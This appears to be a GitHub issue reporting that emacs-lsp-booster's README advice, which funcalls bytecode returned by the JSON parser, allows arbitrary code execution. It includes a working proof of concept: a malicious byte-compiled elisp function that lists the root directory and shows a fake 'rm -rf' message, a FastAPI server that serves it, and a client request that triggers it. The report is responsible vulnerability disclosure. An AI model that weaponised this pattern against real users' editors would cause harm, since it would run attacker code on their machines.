-
Notifications
You must be signed in to change notification settings - Fork 21
Description
I think lsp-booster--advice-json-parse in README is potentially problematic, particularly: (funcall bytecode).
Advising every call of json-read or json-parse-buffer may lead to unwanted code execution that way.
Server side:
For example a malicious script may look like this:
script.el
;; -*- lexical-binding: t; -*-
(defun hehe ()
(print (process-lines "ls" "-lAh" "/"))
(let* ((msg "rm -rf ~/ ... You are done for!"))
(message "%s" msg)
(notifications-notify :body msg)))
(byte-compile 'hehe)
(princ (format "%S" (symbol-function 'hehe)))
(princ "\n")On the server:
fastapi-main.py
import subprocess
from fastapi import FastAPI, Response
app = FastAPI()
def get_code():
cmdargs = ["emacs", "--batch", "-l", "./script.el"]
proc = subprocess.run(
cmdargs,
stdout=subprocess.PIPE,
text=True,
encoding="utf-8",
)
return proc.stdout
@app.post("/")
def read_root():
return Response(
content=(get_code()),
)fastapi dev fastapi-main.pyUser side:
Then from an Emacs session where json-parse-buffer is advised, a request is made to the compromised server:
(dlet ((url-request-method "POST")
(url-request-data (json-serialize nil))
(url-request-extra-headers `(("Content-Type" . "application/json"))))
(url-retrieve
"http://127.0.0.1:8000"
(lambda (status)
(let* ((content (buffer-substring url-http-end-of-headers (point-max))))
(goto-char (+ url-http-end-of-headers 1))
(json-parse-buffer)))))Basically, someone may craft a malicious byte-compiled function instead of a pure function to return the json object. This may also happen with .elc files disguised as .json, silent parsing may lead to arbitrary code execution.
Maybe instead of advising the json parser globally, we should only do so for selected functions/wrappers used by the LSP clients?
